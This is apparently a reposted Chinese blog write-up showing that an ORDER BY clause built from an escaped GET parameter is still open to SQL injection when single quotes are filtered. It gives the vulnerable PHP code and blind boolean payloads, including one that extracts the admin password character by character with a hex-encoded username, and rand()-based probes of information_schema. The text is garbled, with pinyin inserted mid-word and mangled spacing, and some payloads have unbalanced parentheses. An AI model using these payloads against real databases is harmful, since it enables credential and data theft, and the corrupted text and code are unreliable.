mysql注入单引号被过滤_证明过滤单引号的ORDER BY可以注入
題目:證明基于ORDER BY的SQL 注入,且單引號(hào)(’)被過(guò)濾。
已知:代碼如下,有注入無(wú)懸念。
$sortColumn = mysqli_real_escape_string($_GET['sort_column']);
$query ="SELECT * from cr0_3?WHERE active = true ORDER BY $sortColumn DESC";
?>
推理:
1.可以測(cè)試通過(guò)手段判斷cr0_3的字段數(shù)量。不知道怎么做,就不要往下看了。
2.這個(gè)地方sort_column允許你進(jìn)行boolean判斷。可以推理出:
(CASE WHEN (SELECT ASCII(SUBSTRING(password, 1, 1)) FROM users where username = 0x61646D696E) = 65 THEN date ELSE title END)這個(gè)可以進(jìn)行判斷猜測(cè)字符串。0x61646D696E值其實(shí)就是select hex('admin')。為了規(guī)避單引號(hào)。
3.還可以推理出以下判斷語(yǔ)句:
if(true,id,price)
if(false,id,price)
(select?case when (true) then id else price end)
if((selectchar(substring(table_name,1,1)) from information_schema.tables limit 1)<=128),id,price)
注意,以上id,price不要換成1,2之類的。沒(méi)有效果的。不信自己試。那么要知道id,price不是比較麻煩?
好。牛逼的思路來(lái)了。
4.可以推理出:
rand(true)
rand(false)
rand((selectchar(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
得知:
該題目可以成功注入,過(guò)濾單引號(hào),很多情況下是沒(méi)什么用滴。
有些思路,真他媽的有意思。
?
總結(jié)
以上是生活随笔為你收集整理的mysql注入单引号被过滤_证明过滤单引号的ORDER BY可以注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: c语言表达式10 amp 6等于多少,C
- 下一篇: sqlite 数据量_向SQLite批量